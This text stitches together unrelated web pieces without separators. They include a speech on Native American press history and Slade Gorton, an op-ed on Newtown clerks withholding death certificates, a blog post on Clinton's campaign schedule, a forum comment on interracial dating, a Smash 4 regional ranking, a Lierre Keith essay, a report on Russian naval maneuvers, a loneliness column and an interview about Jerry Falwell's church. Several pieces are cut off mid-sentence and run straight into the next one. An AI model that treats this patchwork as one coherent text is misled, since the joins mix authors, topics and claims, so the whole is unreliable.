both of these efforts was competition over scarce natural resources. All of the tribes that were terminated had a resource that someone wanted — often timber. And the so-called equal rights effort of the Interstate Congress were led by hunters and fishers who objected to the “preferential” rights of treaty hunting and fishing.In both of these examples, too, there were characters willing to advance the ideas. Utah Sen. Arthur Watkins was the champion of termination. And the backlash had Jack Cunningham and Howard Grey (once identified in Wassaja as the “der Fuhrer of ICERR).That leads me to the next threat: Slade Gorton.Slade Gorton – who was again from Washington state – took the ideas of an early generation and led them to new, sophisticated heights.Some context. It doesn’t take a lot of calculating to see that so much of this backlash and termination support came from Washington state. Why Washington? One reason was the intense battle for salmon fishing rights – and the favorable ruling by the federal courts.Columnist John Mohawk wrote in another national publication, Native Americas magazine, that Gorton was “an anti-Indian activist all his political life. He fought against Indian treaty rights when he was attorney general for his home state, and he leads perennial attacks against Indian rights in the Senate.”But unlike Cunningham, or even Meeds, Gorton developed a more sophisticated attack against tribal interests. He used his power as a Senator – and later as an appropriations committee leader – to limit how federal dollars might be used to support tribal rights.He occasionally proposed radical rewriting of federal Indian law, advancing his idea that tribes were social clubs and not legitimate governments.“Over time, Gorton settled into the style of the Senate, where tone trumps content most days of the week,” wrote Indian Country Today columnist Suzan Harjo. “He began using the scalpel more than the machete, but was ever-focused on his task: undercutting federal Indian law. He was gaining surgical precision, along with seniority and clout on key committees for energy and natural resources, budget and commerce, science and transportation.“After the 1996 election, Sen. John McCain, R-Ariz., announced that he would step down as chair of the Senate’s select committee on Indian affairs. Gorton was next in line for the job. The sound of alarm from Indian country was loud and effective. Majority Leader Trent Lott, R-Miss., interceded and Gorton withdrew in favor of Sen. Ben Nighthorse Campbell, Republican from Colorado, who became the first Native American to head the Indian panel.”But Gorton continued his political attacks whenever and where ever he could be effective.Here is where another difference emerges between Gorton and his predecessors, such as Jack Cunningham or Arthur Watkins. Instead of being a character in a larger drama, Gorton became the lead in the play.An intertribal coalition was launched to “Dump Slade.” And when someone said those two very words, nearly everyone in Indian Country knew exactly what was meant. Gorton was a modern-day Custer – and his defeat was essential for Indian Country’s survival. Gorton became the issue.I remember a conversation I had with Joe Delacruz at an Affiliated Tribes of Northwest Indians’ meeting. He promised that Slade would be defeated. We’re raising money, we’re building a coalition, he told me, and we’re going to win.Delacruz was right. The Dump Slade effort worked; Maria Cantwell was elected in his place.And because Slade was the actor, the issue went away as far as tribal discourse was concerned.But did Slade really go away? Well, if you think about him as a central character in a drama, then, yes, perhaps.But what of his ideas? We face many of those same notions today. Even his idea that tribes are more like social organizations than governments was effectively advanced by the Supreme Court in decision after decision. Starting with the late Chief Justice William Rehnquist the Supreme Court quietly transformed Indian law. And not in a good way.Another story I’d like to tell is from Alaska. The community of Point Hope had a huge problem in 1962. The United States government had this wacky idea of testing nuclear devices in their homeland. There was a removal plan. The government had decided that Project Chariot made sense and should go forward.The Arctic Slope Native Association turned to a young Inupiat artist by the name of Howard Rock and asked him to start a newspaper. The Tundra Times was born in October 1962.“He was the most soft-spoken man,” said reporter Tom Richards, who worked at the Tundra Times from 1968 to 1974. “But he had tremendous impact with just a few words.”The Tundra Times followed Boudinot’s model perfectly. The paper warned about the dangers, the community came together and talked over these matters, and then reached a satisfactory conclusion. The Atomic Energy Commission’s Project Chariot was no more.But Rock did not stop telling the story. He thought Alaska Natives ought to be a stronger, inter-tribal community. The newspaper’s masthead reinforced its vision of Native harmony that eventually led to the creation of the Alaska Federation of Natives. As AFN said: Rock, through his newspaper, unified Alaska Natives by “knowing the hearts and minds of the people.”“Perhaps more than anyone else, he (Rock) helped weld together the frontier state’s 55,000 Natives for their successful years-long fight to win the largest aboriginal land claims settlement in American history,” wrote Stan Patty of the Seattle Times. He added that Rock was their voice; at times about the only calm voice when crescendos of dissent threatened to tear Alaska apart.And that led — along with the discovery of oil at Prudhoe Bay — to a modern treaty, the Alaska Native Claims Settlement Act.Rock’s Tundra Times had a national voice. Its correspondent in Washington, Tom Richards, worked alongside other native journalists at the key moment in history. The Tundra Times was no cheerleader. It talked about the good of ANCSA and warned readers about some of the consequences.“Let’s turn it around and look at the real situation,” Richards wrote. “The natives are being forced to give up their land under the traditional American principle of manifest destiny and all they’re asking is a fair shake.”We lost the Tundra Times in on December 16, 1991. Its announcement said the board voted to “suspend publication” until a March meeting.Suspensions, rarely result in a re-start. But the financial problems of Tundra Times were well known. The paper had been writing about its own challenges for some two decades. Its readers were familiar with the challenges.That’s not the case with Indian Country Today. It’s darkness was a surprise, one that left little time to explore options from a broader civic community. This is a fail.But that also brings me to Standing Rock.As we all know, Standing Rock was a social media story. News was instant. Shared, reshared, and liked on Facebook.It’s interesting some of the same elements from Standing Rock were present at Alcatraz or Daybreak Star or Frank’s Landing … but what was different was social media and a viral connection across Indian Country. Technology even played a role: A few months before Standing Rock Idle No More generated the same kinds of stories scattered first across Canada and then worldwide. But one explosive difference in Standing Rock and Idle No More was Facebook live. Someone could turn a camera on and generate an audience of thousands or even hundreds of thousands. We are all related, we are all connected.Social media — well, Facebook — can even take credit for informing the President of the United States. A year ago tomorrow — imagine that — a year ago President Obama was asked about the Dakota Access Pipeline and the #NoDAPL movement at Young Southeast Asian Leaders Initiative town hall. This social media story popped the presidential bubble. It alerted him to an issue that he could no longer ignore.A social media story to be sure. And important because we all remember the many, many stories asking, where were the mainstream reporters? Why was Standing Rock not the front page, network TV news story that was required? When a few armed protesters take center stage in Oregon and Nevada and it’s a big story; but when thousands of people come to stand with Standing Rock … it’s only occasional news.So it was a social media story.But here’s the thing. If you go back and look at the many social media stories the ones that were the most shared, the most liked, and most respected, were stories generated by the press, and often that was Indian Country Today.The reason is clear and easy: No one had to explain to editors at Indian Country Today why it was a story. As one editor told me: “We knew we had to blow out our budget for this one.”Early on Valerie Taliman was on site working with reporters and letting them know that Indian Country Today was going to extraordinary lengths. I have counted more than a dozen bylines on this story, including my own. Jenni Monet was compelled to leave a teaching post and write full time from here. And to this day she faces criminal, legal peril for her reporting — something that should never be allowed in a country with First Amendment protection. “Congress shall make no law … “ yet a prosecutor in Morton County is doing just that, making up a law.This was a story of a generation — and Indian Country Today answered.But it’s also a story without an ending. The newspaper helped tribal citizens across the country consider the darkness before us and the evils with which we are threatened. It helped us talk over these matters. But we still have a lot of work to do before we come to some definite and satisfactory conclusion.If you were a government official, how far would you go to push back against a law you disagreed with?
Would you openly defy the law?
Would you be willing to violate your oath of office?
Would you go so far as to badger those who favored enforcement of the law?
Until today, those questions earned a shameful “yes” in the Newtown clerk’s office, where officials for six months illegally withheld access to death certificates after deciding their personal sense of right and wrong trumped the statutory demands of their office.
This morning, the clerks finally relented, turning over dozens of heartbreaking photocopies bearing witness to the sad duty of doctors in the Chief State Medical Examiner’s Office to apply, over and over, a clinical description to the violence that stole so many innocent lives.
As I write this, a reporter is driving back from Newtown with the documents. When they arrive, they’ll be somberly analyzed for anything that might improve our understanding of that awful day – though it’s not likely the sparse documents will do much to peel back the mystery. We will wince at the now-familiar names, and think of the parents that we have come to know, but don’t really know. We’ll do our best to avoid flashes of the terror inside that school. And then the documents will be filed, along with hundreds or thousands of other sheets of paper amassed in our investigation and coverage of this obviously important, internationally significant story. [Update: Courant editors tell me that, following a review of the death certificates, no story will be written based on their content.]
That is what we will do with the records. And the town should have given them to us as soon as we asked last December.
The clerks offered little pretense that their obstructionist stance was legally permissible. Indeed in written testimony to the legislature, Aileen Nosal, Newtown’s assistant town clerk and assistant registrar of vital statistics, acknowledged: “according to current law, these death certificates are public information.”
So Town Clerk Debbie Aurelia and at least some of her underlings took it upon themselves to break the law, flatly refusing to do what the legislature and the courts have ordered.
“Since the tragedy in Newtown,” Assistant Town Clerk Renee Weimann told the legislature, “I’ve been adamant about keeping the death records for those victims unavailable to the public, especially the press.”
The clerks appeared astounded that anyone but close relatives ever seeks to review death certificates. In fact, epidemiologists, journalists and other researchers have been analyzing death records for hundreds of years. It is almost unfathomable that someone who works in the vital records arena wouldn’t know that, and apparently knew nothing of a key Connecticut court case on public access to death records or an important Freedom of Information Commission Advisory Opinion laying out the obligation of local officials in response to requests for copies of death certificates.
At the Courant, death records have proved critical in stories showing that hospitals were concealing deadly medical errors, and in a series just a few months ago linking neglect to the deaths of scores of developmentally disabled individuals under state supervision.
The clerks wanted the law on access to death certificates changed, and had they succeeded, it would have made it harder to hold institutions accountable when they fail to protect the vulnerable. Nevertheless, if the law was amended, my fellow journalists and I would have acknowledged the authority of the legislature. We would have obeyed the law.
No matter how well-intentioned the clerks may have been, none of us – and certainly not a government official – gets to pick and choose which laws we obey. As with the clerks, there are portions of the state’s freedom-of-information laws to which I strongly object. It’s outrageous, for example, that taxpayers who provide billions of dollars in salaries for the state’s public school teachers – including my wife – are barred by law from seeing routine performance evaluations.
That secrecy is bad public policy. The law ought to be changed.
Is that reason enough for me to hack into a school computer and take what I want, since, after all, I know I’m in the right?
One of the sad ironies here is that the death certificates contain little that the clerks, or anyone else, had reason to fear releasing. But once the media came calling, a line in the sand was drawn and the vilification began.
State Rep. Dan Carter, whose district includes part of Newtown, said releasing the death certificates “will only fuel the painful media circus in Newtown” – as though the pain in Newtown emanated from the barrel of a pen.
With police helicopters in the air and scores of heavily armed officers clutching assault rifles, the grounds of the Sandy Hook firehouse on Dec. 14 must surely have been a disturbing scene to the panicked children and parents. I have yet to hear it described as a “police circus.”
But the media, of course, make an exceptionally convenient target, as they have for thousands of years. While society has evolved, the concept of killing the messenger remains strangely appealing.
State Rep. Mitch Bolinsky piled on, calling reporters seeking the death records “jackals.” And months later he asserted that Aurelia’s refusal to release the death certificates did not violate state law because his bill that would change the rules was up for debate in the legislature.
“I would argue that she is well within her rights and I support what she’s doing,” he said.
Bolinsky may indeed have supported what Aurelia was doing, but as a lawmaker with his own oath of office, he cannot seriously have been under the impression that government officials are authorized to break a current law so long as it’s possible they won’t be breaking a future law.
Nevertheless, the legislative session adjourned last week, and our elected leaders ultimately rebuffed the efforts of Aurelia and others, passing a law that put restrictions on access to some information about Newtown, but not the death certificates.
So the democratic process had run its course. But the clerks still weren’t quite ready to obey the law.
When reporters returned to obtain the records withheld six months earlier, the clerk’s office applied a level of heightened and inappropriate scrutiny that would have made the IRS blush.
Forms were rejected if the request was made in the name of a media outlet rather than an individual, and requesters were required to list their names and home addresses. Clerks demanded to know what the journalists intended to do with the information.
None of that is legal.
“There is no statutory provision requiring a requester to give his or her name or address (unless, of course, the requester asks that the documents be mailed) as a condition precedent to inspecting or receiving a copy of a death or marriage certificate,” the state’s Freedom of Information Commission wrote more than two decades ago. “Nor is there a similar requirement that a requester state his or her relationship to the subject of the record or to state the reason for the request.”
Those words were written after a long-ago controversy in which some local clerks were intimating that death records were available only to immediate family members. The commission made it clear that that wasn’t the case, and that clerks had no latitude over whether or not to obey the law as written.
“It is the Commission’s opinion that it would constitute a violation of the FOI Act … for any registrar of vital statistics either to dishonor a request to inspect or copy death or marriage certificates or to discourage a requester from asserting his her right to such records. Indeed, the failure to comply with the law in this respect would be a violation of a public official’s sacred trust to faithfully discharge, according to law, the duties of his or her office.”
In Newtown last week, employees in the clerk’s office discharged the duties of their office by badgering journalists lawfully doing their jobs. Indeed, employees so mistreated a young reporter from the Courant that it took a call to the town’s lawyer to secure an apology and an assurance that the antics would stop.
The clerks in Newtown, and their many supporters, are undoubtedly proud of their streak of civil disobedience. They shouldn’t be. Newtown knows as well as any town in America the devastating toll exacted when the rule of law falls apart. How dishonorable of the clerks to react to an insane burst of lawlessness by embracing months of lawlessness all their own.Hillary Clinton Softens Schedule As Campaign Winds Down – Will Campaign in Florida This Week
The American Mirror, which does do good work for the most part, has a blind spot when it comes to reporting on Hillary Clinton’s campaign schedule or lack thereof. The American Mirror relies on only one website, HillarySpeeches.com, to report on when Clinton is campaigning.
That site is incomplete and cannot be relied on. For example, the American Mirror incorrectly reported on Monday that Clinton is set to go dark for the next six days until the first presidential debate on September 26, based solely on HillarySpeeches.com.
TIRED? After today, Hillary has nothing on public calendar until debate — in 6 days
“Hillary Clinton noted there are just 50 days before voters head to the polls, but that’s not stopping her from apparently laying low for the next 6 of them.
“Clinton held a rally at Temple University today, and, according to her public schedule posted at HillarySpeeches.com, she has nothing public planned until the first presidential debate on September 26th.”
Yet for a week it has been known Clinton was coming to Central Florida on Wednesday, September 21, for a mega fundraiser at the home of super rich trial lawyer John Morgan.
“Orlando Democratic fundraiser and medical marijuana champion John Morgan is hosting Hillary Clinton for a fundraiser at his Heathrow home in Lake Mary on Sept. 21.
“…Admission costs a minimum of $2,700 a person, with various contributor levels going as high as $100,000 for anyone who wants to be a chair of the effort.
“The donated money will be split between Hillary Clinton’s official campaign, Hillary For America, the Democratic National Committee and the state Democratic parties in 38 states, including Florida.”
It was announced on Monday that Clinton would also hold a rally in Orlando open to the public on Wednesday afternoon. Details have not been released, however the rally is listed at Clinton’s campaign website.
The American Mirror claimed Clinton had nothing scheduled for Monday after her Temple rally when it was announced last week Clinton would be meeting with several world leaders in New York City this week during the U.N. General Assembly, as would Donald Trump.
This is the second time this month the American Mirror has committed journalistic/blogger malpractice by falsely reporting on Clinton’s schedule when Clinton was actually set for meetings, fundraisers and an appearance at the 9/11 Memorial.
If you are going to call out a candidate for their schedule, make sure you know what their schedule is first, please.Hm. I think it really depends.
Take my mother for example. She is 100% Chinese yet she does not speak the language and she has never been to China. Her family does still participate in Chinese traditions like CNY, etc. but they are fourth generation and in essence she is completely Americanized with white culture. She also grew up in northern Massachusetts, which is very, VERY white. She was surrounded by white culture growing up and I believe as a result she finds white men the most attractive because there were very few other choices. She was the only Asian at her high school besides her sister and there were a handful of black kids, but EVERYONE ELSE was Caucasian.
She doesn't think all other races are unattractive, but she has only ever dated white men because she was only ever around white men when she was in the dating pool. In this case, I think she is completely justified in dating white men because she did not consciously choose to reject all other races. It was societal pressures and her environment that led to her "choosing" white men.
I think if an Asian woman categorically rejects all races besides white men and is mean and dismissive to all other races even when they are in a very diverse environment, that is very wrong and a bit of a problem and possibly racism towards their own race.
HOWEVER, preferences are a real thing and no one is inherently a bad person for sincerely liking romantic/sexual partners of a certain race over others.INTRODUCTION
Day 5 is the finisher!
For more information, including an outline of the methodology used, see Day 1:
https://intheloop837.wordpress.com/2017/12/25/librarank-day-1-intro-methodology-41/
Let’s get into it for the last (kinda) top. In the upcoming days & weeks, I’ll be posting some commentary & analysis of the ranking as a whole, going into greater detail on the methodology, providing complete player scores from all regions, etc. Look forward to that! Until then, the top 10…
#10 – COASTAL SOUTHEAST
Final Score: 19.318
High Scored Player: Fatality* (11.625)
Lowest Scored Player: Lazyboredom (59.12)
Players used in final ranking: Fatality, Wrath, Peabnut, Salt One, Sonido, HyperKirby, ScAtt
Best Placement: 2nd, 2GGC: Civil War (Fatality)
Worst Placement: 129th, Super Smash Con 2017 (Lazyboredom)
Potential Rating: A-
With Fatality breaking the gates down and placing well early in the year, he quickly solidified himself as the best Southeastern player. Joining him are fellow and historically solid state players like ScAtt and Wrath, alongside newcomers like Salt and Hyper.
While it may not be immediately apparent based on the players used in the scoring, the Carolinas both have risen from obscurity to something resembling relevance. Dandy Penguin, Mekos, & Donquiavius had modest accomplishments across the year, while Lazyboredom took a set off Zack, leaving room for potential in the fledging Carolinas.
The real story of of the Carolina’s isn’t just Northern Carolina’s rough accomplishments you also have players like Peabnut. While RFang didn’t make top 7, but he clearly shares the same kind of potential as his South Carolinas brethren, making both states potent rivals to Georgia, in and of itself a very capable and dangerous scene noted for big upsets and explosive runs at tournaments.
#9 – NETHERLANDS
Final Score: 18.4460
Highest Scored Player: Mr. R (5.67833)
Lowest Scored Player: Gregs (67.60)
Players used in final ranking: Mr. R, iStudying, S1, Meru, Supahsemmie, Badr, Space
Best Placement: 5th, GENESIS 4, 2nd, CEO Dreamland, 1st, Syndicate 2017 & B.E.A.S.T. 7, etc. (Mr. R)
Worst Placement: 65th, Tech Republic III (Gregs)
Potential Rating: A-
Taking the title of best EU region, the historically powerful Netherlands blasts its way into the top 10 between Mr. R’s incredibly consistent record and the fact that the region tends to just do better than most when it comes to consistency at EU majors, giving most of their players scores ranging around 20.
The A- can’t be helped that much, as while it’s good and has good results in-region and out, it’s hard to deny that S1 has struggled in his trips to the U.S., and that iStudying is somewhat inconsistent. However, a full Dutch crew might shake up brackets pretty heavily, making it representative of Europe’s slow but steady climb up the skill pool ladder.
“Only time will tell,” is the best way to sum up Europe’s potential in Smash 4: There appears to be plenty and a lot of upsets have happened, but travel costs make it difficult for these visits to be frequent, similar to Japan’s plight.
#8 – NEW ENGLAND
Final Score: 18.4391
Highest Scored Player: Marss (10.53)
Lowest Scored Player: Koolaid (33.27)
Players used in final ranking: Marss, MattyG, Light, Pugwest, Raffi-X, LingLing, Kuma
Best Placement: 2nd, The Big House 7 & 5th, 2GGC: Civil War (Marss)
Worst Placement: 129th, Super Smash Con 2017 (Craftis)
Potential Rating: A
While initially best known for Marss and eventually Pugwest, New England has predictably climbed significantly in 2017. The nearer Light got to defeating Marss, the closer we got to a new era – an era where New England becomes one of the world’s biggest regional threats.
It finally happened, eventually, and by the time Shine rolled around it was clear that New England had become increasingly less top heavy as the year rolled by. Honorable mention to Raffi-X for nearly defeating ESAM, and, of course, MattyG’s rise to prominence late in the year as the region’s best Cloud.
Marss, Matty, and Light alone could make this region something special, but in an ea where Peach & Sonic mains have been rising and innovation, I’d recommend people keep a close eye on LingLing, Craftis, and Kuma as future rising stars from the region.
Whether it was people catching up to Marss as a matter of time or a strong regional-wide drive to be as good at the game as possible, the end result is an 8th place on an extensive and large region ranking.
#7 – MEXICO
Final Score: 17.466
Highest Scored Player: MKLeo (9.16)
Lowest Scored Player: Yura (55.212)
Players used in final |
problem will take care of itself. And now we come to the girls.
What drops the birthrate universally is raising the status of women. Very specifically, the action with the greatest impact is teaching a girl to read. When women and girls have even that tiny bit of power over their lives, they choose to have fewer children. Yes, women need birth control, but what we really need is liberty. Around the world, women have very little control over how men use our bodies. Close to half of all pregnancies are unplanned or unwanted. Pregnancy is the second leading cause of death for girls age 15-19. Not much has changed since Emmeline Pankhurst refused to give up.
We should be defending the human rights of girls because girls matter. As it turns out, the basic rights of girls are crucial to the survival of the planet.
Can we stop him?
Yes, but only if we understand what we’re up against.
He wants the world dead. Anything alive must be replaced by something mechanical. He prefers gears, pistons, circuits to soft animal bodies, even his own. He hopes to upload himself into a computer some day.
He wants the world dead. He enjoys making it submit. He’s erected giant cities where once were forests. Concrete and asphalt tame the unruly.
He wants the world dead. Anything female must be punished, permanently. The younger they are, the sooner they break. So he starts early.
A war against your body is a war against your life. If he can get us to fight the war for him, we’ll never be free. But we said every woman’s body was sacred. And we meant it, too. Every creature has her own physical integrity, an inviolable whole. It’s a whole too complex to understand, even as we live inside it. I had no idea why my eyes were swelling and my lungs were aching. The complexities of keeping me alive could never be left to me.
One teaspoon of soil contains a million living creatures. One tiny scoop of life and it’s already more complex than we could ever understand. And he thinks he can manage oceans?
We’re going to have to match his contempt with our courage. We’re going to have to match his brute power with our fierce and fragile dreams. And we’re going to have to match his bottomless sadism with a determination that will not bend and will not break and will not stop.
And if we can’t do it for ourselves, we have to do it for the girls.
Whatever you love, it is under assault. Love is a verb. May that love call us to action.
Lierre Keith is the author of six books. Visit her website at www.lierrekeith.com
Editor’s note: This essay first appeared August 8, 2015 on RadFem Repost.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
June 29, 2016, 10:38 PM GMT / Updated June 29, 2016, 10:38 PM GMT By Phil Helsel and Courtney Kube
The U.S. military says a Russian naval warship interfered with two U.S. Navy ships in the Mediterranean Sea in the latest of a series of unsafe maneuvers alleged to have been conducted by Russian forces.
U.S. European Command said a Russian frigate approached within two miles of the U.S. destroyer Gravely in the eastern Mediterranean Sea on June 17. As the frigate tried to draw closer, it repeatedly warned the U.S. ship to maintain a safe distance, the command said.
The frigate was flying a flag used to indicate restricted maneuvering, but European Command said in a statement that the supposedly restricted frigate matched the Gravely's moves. The frigate "was not in fact restricted in her ability to maneuver, and was thus intentionally displaying a false international signal," European Command said.
"These actions have the potential to unnecessarily escalate tensions between countries, and could result in a miscalculation or accident which results in serious injury or death," European Command said.
But Russia's Defense Ministry claimed that the Gravely was the aggressor and got dangerously close to the frigate. In a statement, the Russian government said U.S. sailors broke international rules governing when one vessel overtakes a slower one, according to the Russian news organization RT.
"US sailors allow themselves to neglect key foundations of navigation safety without thinking of the consequences that dangerous maneuvering in a heavily trafficked maritime area might involve,” the statement said.
Related: Russian Flyby of U.S. Destroyer Alarms Experts
U.S. European Command said the Gravely was operating along with the aircraft carrier Harry S. Truman supporting efforts to combat ISIS.
The command accused the Russian ship of "intentionally trying to interfere with Harry S. Truman operations," calling the maneuver "unsafe and unprofessional maritime operations."
Tensions between the two militaries have been heightened by a series of incidents in recent months.
In April, a Russian Su-27 fighter jet performed a barrel roll over a U.S. Air Force RC-135 reconnaissance aircraft over the Baltic Sea, U.S. military officials said.
A few weeks earlier, two unarmed Russian Su-24 fighter jets performed a series of extremely low passes over the U.S. guided-missile destroyer USS Donald Cook in the Baltic Sea. Video captured the aircraft buzzing the ship.Solitude is glory, but loneliness is pain. It's time to reach out
Posted
I was feeling blue last week so decided to engage in my usual form of wallowing: browsing animal shelter websites and imagining being in the position of adopting them all.
Perhaps we'll all live on a large farm — formerly neglected animals now happily running free, sun shining... even a unicorn is there! Well, it is an alternate universe.
The profiles of each perfect pup scrolled past, but one title in particular caught my eye: Lonely Larry needs a home. (Ouch, my feelings.)
It was a stark reminder that everyone — dogs and humans alike — can get lonely.
The topic of loneliness is back on the public radar this week after the story of a South Australian widower, who posted an ad for a fishing buddy on Gumtree, went viral.
Unlike sellers trying to get rid of second-hand cars or soiled couches, 75-year-old Ray Johnstone was looking for something different: a friend.
"I am a Land Based Fisherman... what I want is a fishing mate in a similar position to myself who also wants someone to go fishing with," Mr Johnstone's advertisement read.
Loneliness a'silent epidemic'
Meanwhile, in the UK, a new Commission on Loneliness is this week being launched by a group of cross-party MPs to help people suffering from feelings of isolation.
The commission — an initiative developed by MP Jo Cox, who was tragically murdered last year — described loneliness as "Britain's silent epidemic".
Research conducted by the organisations and charities involved found more than nine million people are "always or often lonely" — though two thirds of respondents said they would never admit it in public.
Feelings of isolation tend to be more common in older folk, with research showing half a million people over the age of 60 spend almost every day alone.
Other recent studies suggest these feelings aren't just unpleasant to deal with, but are also possibly harmful to our health. Loneliness has been associated with higher blood pressure, heart disease and even Alzheimer's.
But don't let that discourage you. These days, of course, everything is bad for your health. Soon doctors will say my 10-a-day hash brown intake is unhealthy!
What we can do is use this information as a prompt to engage in some self-reflection and compassion. If so many of us are feeling lonely, why aren't we reaching out to each other?
Is social media helpful or unhealthy?
Loneliness has been described as "a waste by-product of technology and the internet". A recent study even found that more people want to quit social media than smoking!
Withdrawal patches wouldn't do much to curb one's desire for instant reassurance and connection. After all, if a funny joke is made in an empty forest and not posted on Twitter, is it still a funny joke?
As someone who works from home and suffers from depression, technology without doubt has its benefits: ordering products online and self-serve checkouts come in handy when I'm feeling overwhelmed.
The flipside, however, is that my social anxiety is never challenged and I can easily go days — even weeks — with very little actual human contact.
The end result is feelings of isolation and, frustratingly, an increase in social anxiety.
Of course, there is no one-size-fits-all rule when it comes to Facebook, Instagram, Twitter, and all those other confusing apps used by hip teens. As soon as we finish reading research stating social media makes us depressed, another study highlights its benefits.
Ultimately, our good old friend self-reflection is required to assess whether your time on social media is helpful or unhealthy.
We need to make ourselves vulnerable
Still, if you are feeling lonely and disconnected, you might be struggling with what to do about it.
Reaching out to others requires courage. The ability to make ourselves vulnerable has been studied by social worker and researcher Brene Brown, who believes we cannot experience love, belonging, creativity and joy without putting our true selves out there — getting vulnerable.
How can others help if you don't first reach out?
Of course, emotional vulnerability looks different to everyone. It may be re-engaging with a friend you argued with years ago and mending bridges. It might be starting a conversation with the neighbour you share a morning smile with.
Or like Ray Johnstone, it may mean putting a call-out for a fishing buddy.
As I approach 30, I find it harder and harder to begin friendships — it was much easier as a child to simply bound up to a peer and ask, "Wanna be my friend?"
It might take more work and perseverance, but it's worth the momentary discomfort of vulnerability or awkwardness.
So sure, we can wallow in our loneliness. We can look at dogs we can't adopt, or listen to music that validates our solitude.
But why not reach out to someone, and be one of the third of folk who admit to feeling lonely. Chances are the other person is feeling just the same.
Topics: relationships, welfare, mental-health, internet-culture, social-mediaIn 2005 Gina Welch, a young graduate student and atheist from Berkeley, in an effort to better understand the phenomenon of Christian evangelicalism, decided to join Jerry Falwell’s Thomas Road Baptist Church. She spent two years as part of the church community, culminating in a missionary trip to Alaska. Metropolitan Books has just published her account of the experience, In the Land of Believers: An Outsider’s Extraordinary Journey Into the Heart of the Evangelical Church. I spoke with Welch recently via telephone.
*
How did you come to join Jerry Falwell’s church?
I had been living in Charlottesville, Virginia, after I’d gone to graduate school. I noticed that there were all these Christians around, and I was very uncomfortable with them.
Meanwhile, what was going on nationally was the perception that evangelical Christians were taking over the country, that they had their fingers in government. I wasn’t able to reconcile the media perception of evangelical Christians—that they were very militant, that they were brainwashed—with the perception I had of evangelicals personally. I wanted the challenge of understanding people whose views on most issues were very different from mine. I truly didn’t believe that I would get to a point where I could relate to them.
What did you like most and least about Falwell’s Church?
There is one main characteristic that I appreciate: selflessness. One of Jerry Falwell’s mantras was “Jesus First,” which has always been a difficult line for me to parse. For a lot of church members I knew, their desires are secondary. They’re primarily on earth to be servants. That has a lot of a great side-effects, like individual humility and a willingness to help.
The negative side effect of that humility, though, is a real resistance to being critical of institutions to which they subscribe. It’s a problem of buying the party line without critical analysis. It can be a kind of intellectual surrender. There was one night when we had an Easter dinner at Thomas Road and a pastor was urging Church members to give financial gifts in addition to the 10% tithe. He said, “Some of you may wonder what Jerry Falwell is doing with my money,” as if addressing the concerns of anyone who might think that they were being ripped off. But he continued, “It doesn’t matter if Jerry Falwell abuses your gifts, because God sees your offering, and he’ll reward it in heaven.” It’s not for you to criticize. That’s a problem.
There are two other works that deal similarly with Falwell’s church: The Unlikely Disciple by Kevin Roose, and The Book of Jerry Falwell by Susan Friend Harding. How do you see your book in relation to them?
Both of these are wonderful. Harding’s book, which I read while undercover, focuses on the specific vernacular of Falwell’s church, the coded way evangelical Christians at Thomas Road express their feelings to one another, and what dynamics those linguistic idiosyncrasies reflect in the culture. So, for example, while you or I might say, “I want to take a trip to my sister’s house this summer,” someone at Thomas Road might begin the same sentence, “God’s putting it on my heart that…” which keeps the believer’s will secondary to God’s.
Kevin Roose, uncannily, was undercover at Liberty University for part of the time I was undercover at Thomas Road, so our books complement one another pretty beautifully. He and I both share a kind of outsider’s perspective—neither of us is evangelical and we’re both progressive—and we both, remarkably, ended up with books suffused with a sympathetic animus: we found things to love. Roose’s book differs from mine in that it’s essentially a study of evangelical college life—of young people developing friendships, ideas, and identity—while mine deals with adult evangelicals processing the messy, unpredictable world around them.
The fear of sin courses throughout the book. There is a scene in Alaska where your group gets children to read the Sinner’s Prayer. It brings to mind Thomas Paine’s observation about the capacity of religion to shock the mind of a child.
The thing that disturbed me about the way we were presenting the Christian message to children is that it was geared toward getting them afraid of going to hell. But I do think that there is genuine urgency to get children to say the Sinner’s Prayer because their parents are frightened for them. It’s not just about trying to indoctrinate them, but, I think, it’s a genuine concern for their eternal fate.
You came to sympathize with these people, and your portrayal humanizes them. Yet they have been the base for a political movement that would deny that humanity to others—gay men and women, woman needing to terminate pregnancies, non-Christians etc. At what point does it matter if people are good to those in their group if their group overall is not fostering a greater good?
Secular progressives need to know that they’re not dealing with insensitive people who lack empathy. Because the division between conservative Christians and secular progressives is so complete, because there’s no conversation, there is a tendency for people from my camp to view conservative Christians as self-interested, and I mean to chip away at that perception. Does it excuse homophobia? Does it excuse their opposition to reproductive rights? No. But my hope for the book is to start conversation between conservative Christians and secular progressives. Part of the reason that conservative Christians are so reactionary about gay rights is that there just aren’t a lot of gay people in their communities. I think it’s ignorance.
Is it just ignorance? Wouldn’t someone who was gay in that environment likely be sent for reprogramming or driven out?
This is exactly my point: their ignorance stems from the fact that conservative Christian communities are very hard places for gay people to carve out an existence. I knew of one Liberty University staffer who was outed by coworkers, and subsequently moved to the West Coast. A girl I knew said of him, “If that was me, I’d move to California, too.”
Of course this means that there’s a real diversity-vacuum in conservative communities when it comes to sexual orientation, so perceptions of homosexuality are built on myth, and misconceptions go unchallenged.
How do we become sympathetic toward people we’re inclined to judge? We get to know them, we learn to relate to them as flesh and bone human beings. Mel White, a former ghostwriter for Jerry Falwell and Pat Robertson who came out of the closet and became an advocate for gay rights, stayed in Lynchburg with his partner and kept attending Falwell’s church, kept speaking about the reconcilability of his faith and sexual orientation. In White’s position, would I have the strength to fight the same fight, make the same sacrifices, and stay in a community so hostile to me? Probably not. But I believe he’s doing the only thing that will work: teaching by exposure. If we’re waiting on the cultural zeitgeist to bring conservatives around on gay rights, I think we’d better get comfortable; we’re in for a long wait. I’m less interested in assigning blame than I am in figuring out how to build progressive influence in conservative communities. I don’t think it’s a lost cause.
Do you see that conversation beginning to develop anywhere now?
Comment conversations on mainstream media articles and blogs can help secular progressives and evangelicals hash out differences. I’ve had some great experiences interacting with people of faith who post comments on my own blog. The trouble is that anonymously kicking a brief comment up on the Internet isn’t a substitute for real-world human interaction, and in fact the blindness of the interaction has a lot of potential for overstatement and miscommunication. Maybe we could start a cruise line for this purpose, so everyone would be well-fed, tanned, and relaxed before sitting down to summit. Call it Middle Ground of the Seas.
Has there been any fallout from Thomas Road upon learning of your book?
